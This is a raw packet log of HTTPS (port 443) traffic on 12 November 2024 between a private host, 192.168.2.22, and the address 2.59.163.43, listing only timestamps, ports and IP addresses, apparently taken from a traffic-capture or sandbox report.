Nov 12, 2024 17:29:41.209204912 CET	49202	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:41.209223986 CET	443	49202	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.265645027 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.266084909 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.266096115 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.267000914 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.267064095 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.267416954 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.267467022 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.267497063 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.267760992 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.267766953 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.267923117 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.267946959 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.268852949 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.268899918 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.269207001 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.269268036 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.269344091 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.269351959 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.465516090 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.465516090 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.758275032 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758338928 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758371115 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758423090 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.758435011 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758835077 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758845091 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.758893013 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.758902073 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771591902 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771661997 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771687031 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771727085 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.771744967 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771786928 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.771933079 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771941900 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.771974087 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.889642954 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.889648914 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.889714956 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.889723063 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.889986038 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.889991999 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.890024900 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.890032053 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903002024 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903011084 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903037071 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903060913 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.903172016 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903177977 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:42.903208971 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:42.903222084 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.008208990 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.008218050 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.008255959 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.008270025 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.008280039 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.008326054 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.009133101 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.009139061 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.009166002 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.009187937 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.009196043 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.009206057 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.020787001 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.020793915 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.020822048 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.020844936 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.020858049 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.021409988 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.021869898 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.021877050 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.021902084 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.021922112 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.021931887 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.021944046 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.126979113 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.126987934 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.127029896 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.127041101 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.127048016 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.127058029 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.127068043 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.127166033 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.140311003 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.140321016 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.140347004 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.140355110 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.140367031 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.140386105 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.140394926 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.140434027 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.257117987 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.257124901 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.257157087 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.257167101 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.257175922 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.257184029 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.257199049 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.257339954 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.258618116 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.258629084 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.258647919 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.258655071 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.258670092 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.258677959 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.258692980 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.258769035 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.259666920 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.259675026 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.259696960 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.259706020 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.259716034 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.259720087 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.259736061 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.259809971 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.634532928 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634543896 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634561062 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634567976 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634584904 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634591103 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.634605885 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.634812117 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.634980917 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.634990931 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635029078 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635030985 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635052919 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635067940 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635080099 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635094881 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635103941 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635204077 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635210991 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635243893 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635257959 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635266066 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635273933 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635282040 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635305882 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635452986 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635459900 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635483027 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635484934 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635512114 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635523081 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635548115 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635571957 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635747910 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635756016 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635782957 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635795116 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635802984 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:43.635826111 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:43.635986090 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.697402954 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697415113 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697442055 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697489977 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697501898 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697551012 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697551012 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.697587967 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697601080 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.697617054 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.697628975 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.697635889 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.697643995 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.698993921 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.699018002 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.699079037 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.699085951 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.699143887 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.699362040 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.699481964 CET	49204	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.699493885 CET	443	49204	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.699971914 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.700025082 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.700028896 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.700066090 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.700803041 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.716262102 CET	49205	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.716272116 CET	443	49205	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.727324009 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.727358103 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.727421045 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.727729082 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.727735043 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.739274979 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.739290953 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:44.739356995 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.739604950 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:44.739615917 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.898960114 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.899391890 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.899406910 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.899775982 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.900167942 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.900237083 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.900486946 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.914099932 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.914623022 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.914634943 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.914932966 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.915429115 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.915479898 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.915608883 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:45.943341970 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:45.959326982 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202339888 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202419996 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202451944 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202482939 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.202488899 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202523947 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.202649117 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.203094959 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.203131914 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.203140020 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.203187943 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.203221083 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.204174995 CET	49206	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.204195976 CET	443	49206	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.209218979 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.209269047 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.209331989 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.210895061 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.210930109 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.211582899 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.211618900 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.211672068 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.211997032 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.212013006 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378691912 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378757954 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378793955 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378825903 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378834009 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.378844023 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.378870964 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.509547949 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.509609938 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.509622097 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.509727955 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.509733915 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.509778023 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.509783983 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.705876112 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.813676119 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813687086 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813740015 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813752890 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.813757896 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813765049 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813786030 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.813787937 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813800097 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813815117 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813824892 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.813834906 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.813957930 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813966036 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813987970 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813997030 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.813997030 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.814018965 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.814026117 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:46.814028025 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:46.814179897 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.017755985 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.182811975 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.182825089 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.182862043 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.182878971 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.182894945 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.182897091 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.182913065 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.182920933 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.183079004 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184086084 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184093952 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184119940 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184129000 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184142113 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184144020 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184156895 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184165001 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184252977 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184792042 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184799910 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184820890 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184829950 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184842110 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184849977 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.184861898 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184895992 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.184942007 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.188344002 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.188353062 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.188379049 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.188421965 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.188429117 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.188438892 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.188694000 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211512089 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.211529016 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.211560011 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.211570978 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211577892 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.211591005 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211643934 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.211674929 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211683035 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211723089 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211986065 CET	49207	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.211994886 CET	443	49207	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.441564083 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.441936016 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.441967010 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.442325115 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.442742109 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.442804098 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.443038940 CET	49208	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.447540045 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.447777033 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.447796106 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.448162079 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.448476076 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.448539972 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.448632002 CET	49209	443	192.168.2.22	2.59.163.43
Nov 12, 2024 17:29:47.483330965 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.495326996 CET	443	49209	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761725903 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761822939 CET	443	49208	2.59.163.43	192.168.2.22
Nov 12, 2024 17:29:47.761862993 CET	443	49208	2.59.163.43	192.168.2.22
